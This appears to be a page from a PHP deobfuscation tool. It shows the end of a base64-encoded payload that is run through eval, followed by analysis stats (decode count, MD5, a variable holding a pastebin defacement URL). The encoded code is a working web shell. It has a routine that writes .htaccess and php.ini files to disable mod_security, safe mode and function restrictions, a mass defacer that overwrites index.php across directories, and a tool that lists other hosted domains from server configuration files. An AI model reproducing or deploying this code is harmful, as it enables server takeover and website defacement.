KSwgIiIsICRhcnJheSk7CmVjaG8gIjxjZW50ZXI+JHNoYXJlZCI7Cn0KfQp9CnByaW50Rm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWN0aW9uQnlwYXNzKCkgewpwcmludEhlYWRlcigpOwplY2hvICc8aDE+U2FmZSBNb2RlPC9oMT4nOwplY2hvICc8ZGl2IGNsYXNzPSJjb250ZW50Ij4nOwplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxoMz48c3Bhbj58IFNBRkUgTU9ERSBBTkQgTU9EIFNFQ1VSSVRZIERJU0FCTEVEIEFORCBQRVJMIDUwMCBJTlRFUk5BTCBFUlJPUiBCWVBBU1MgfDwvc3Bhbj48L2gzPkZvbGxvd2luZyBwaHAuaW5pIGFuZCAuaHRhY2Nlc3MobW9kKSBhbmQgcGVybCguaHRhY2Nlc3MpW2NvbnZlcnQgcGVybCBleHRlbnRpb24gKi5wbCA9PiAqLnNoXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj48YnIgLz4iOwplY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCdwaHAuaW5pXCcsbnVsbCkiPnwgUEhQLklOSSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxcJ2luaVwnKSI+fCAuaHRhY2Nlc3MoTW9kKSB8IDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsbnVsbCxudWxsLFwnc2hcJykiPnwgLmh0YWNjZXNzKHBlcmwpIHwgPC9hPjwvY2VudGVyPic7CmlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmIGlzc2V0KCRfUE9TVFsncDInXSkpCnsKJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKZndyaXRlKCRmaWwsJzxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KU2VjLS0tLS0tRW5naW5lIE9mZgpTZWMtLS0tLS1TY2FuUE9TVCBPZmYKPC9JZk1vZHVsZT4nKTsKZmNsb3NlKCRmaWwpOwogfQogaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkmJiBpc3NldCgkX1BPU1RbJ3AxJ10pKQogewokZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4icGhwLmluaSIsInciKTsKZndyaXRlKCRmaWwsJ3NhZmVfbW9kZT1PRkYKZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORScpOwpmY2xvc2UoJGZpbCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsncDMnXSkgJiYgaXNzZXQoJF9QT1NUWydwMyddKSkKewokZmlsPWZvcGVuKCRHTE9CQUxTWydjd2QnXS4iLmh0YWNjZXNzIiwidyIpOwpmd3JpdGUoJGZpbCwnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5zaApBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwnKTsKZmNsb3NlKCRmaWwpOyAKfQplY2hvICI8YnI+PGJyIC8+PGJyIC8+PC9kaXY+IjsKZWNobyAnPC9kaXY+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25EZWZhY2UoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gIjxoMT5NYXNzIERlZmFjZXIgYnkgMTMzNyBoQHgwcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7Cj8+Cjxmb3JtIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD8kX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9UE9TVCBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLkNvbnRlbnRzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij4KPHAgYWxpZ249IkxlZnQiPkZvbGRlcjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhdGggc2l6ZT02MCB2YWx1ZT0iPD89Z2V0Y3dkKCk7ID8+Ij4KPGJyPmZpbGUgbmFtZSA6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHNpemU9MjAgdmFsdWU9ImluZGV4LnBocCI+Cjxicj5UZXh0IENvbnRlbnQgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Q29udGVudHMgc2l6ZT03MCB2YWx1ZT0iQWRkIHlvdXIgZGVmYWNlIHR4dCBoZXJlIj4gCjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkRlZmFjZSBub3ciPjwvcD48L2Zvcm0+Cjw/cGhwCmlmICgkX1BPU1RbJ2EnXSA9PSAnRGVmYWNlJykgewokbWFpbnBhdGggPSAkX1BPU1RbcDFdOwokZmlsZSA9ICRfUE9TVFtwMl07CiR0eHRDb250ZW50cyA9ICRfUE9TVFtwM107CmVjaG8gIk1hc3MgRGVmYWNlciBzY3JpcHQgYnkgMTMzNyBoQHgwciI7CiRkaXIgPSBvcGVuZGlyKCRtYWlucGF0aCk7IC8vZml4bWUgLSBjYW5ub3QgZGVmYWNlIHdoZW4gY2hhbmdlIHRvIHdyaXRlYWJsZSBwYXRoISEKd2hpbGUgKCRyb3cgPSByZWFkZGlyKCRkaXIpKSB7CiRzdGFydCA9IEBmb3BlbigiJHJvdy8kZmlsZSIsICJ3KyIpOwokY29kZSA9ICR0eHRDb250ZW50czsKJGZpbmlzaCA9IEBmd3JpdGUoJHN0YXJ0LCAkY29kZSk7CmlmICgkZmluaXNoKSB7CmVjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iOwp9Cn0KfQplY2hvICc8L2Rpdj4nOwpwcmludEZvb3RlcigpOwp9CiBmdW5jdGlvbiBhY3Rpb25Eb21haW4oKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5Mb2NhbCBEb21haW5zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwokRG9tYWluX3BhdGggPSAiL3Zhci9uYW1lZCI7CmlmICghJGZpbGUpIHsKJGRvbWFpbnMgPSBzY2FuZGlyKCREb21haW5fcGF0aCk7CiRjb3VudD0xOwokZGMgPSAwOwplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj5UaGVyZSBhcmUgOiAoIDxiPiIgLiBjb3VudCgkZG9tYWlucykgLiAiPC9iPiApIERvbWFpbnMgaW4gdGhpcyBTZXZlci5DYW4ndCByZWFkIG5hbWVkLmNvZiAuRG9tYWlucyBhcmUgYnlwYXNzZWQgYWN0dWFsbHkseW91IHdpbGwgZmFjZSBwcm9ibGVtIGluIHN5bWxpbmsuIDwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJiRkb21haW4pIHsKaWYgKHN0cmlwb3MoJGRvbWFpbiwiLmRiIikpIHsKJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwp9CmlmIChzdHJsZW4oJGRvbWFpbikgPiA2KSB7CmVjaG8gIjx0cj48dGQ+Ii4kY291bnQrKy4iPC90ZD48dGQ+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZG9tYWluLiI8L2E+PC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOwp9Cn0gCmVjaG8gIjwvdGFibGU+IjsKfWVsc2V7CiRjb3VudCA9IDE7CnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwgJGZpbGUsICRyKTsKJGRvbWFpbnMgPSBhcnJheV91bmlxdWUoJHJbMV0pOwplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xIHdpZHRoPTU5JSBjZWxscGFkZGluZz01Pgo8dHI+PHRkIGNvbHNwYW49Mj4gVGhlcmUgYXJlKCA8Yj4iIC4gY291bnQoJGRvbWFpbnMpIC4gIjwvYj4gKSBEb21haW5zIGluIHRoaXMgU2V2ZXIuSSB0aGluayB5b3UgaGF2ZSBnb3Qgc29tZXRoaW5nIHRoaXMgdGltZSB5ZWFoISEhLjwvdGQ+PC90cj4KPHRyPjx0ZD5ObzwvdGQ+PHRkPkRvbWFpbjwvdGQ+PHRkPlVzZXI8L3RkPjwvdHI+IjsKZm9yZWFjaCAoJGRvbWFpbnMgYXMgJGRvbWFpbikgewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIiAuICRkb21haW4pKTsKZWNobyAiPHRyPjx0ZD4iLiRjb3VudCsrLiI8L3RkPjx0ZD48YSBocmVmPSdodHRwOi8vIi4kZG9tYWluLiInIHRhcmdldD0nX2JsYW5rJz4iLiRkb21haW4uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwogfQp9CiBwcmludEZvb3RlcigpOwp9CmlmKCBlbXB0eSgkX1BPU1RbJ2EnXSkgKQppZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpCiRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOwplbHNlCiRfUE9TVFsnYSddID0gJ1NlY0luZm8nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQpjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKQo/Pg==";
eval("?>".(base64_decode($pca)));
?>

Function Calls

base64_decode 1

Variables

$pca PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3hD..

Stats

MD5 e4ad2b42ca2e5b815f494679ae06b910
Eval Count 1
Decode Time 140 ms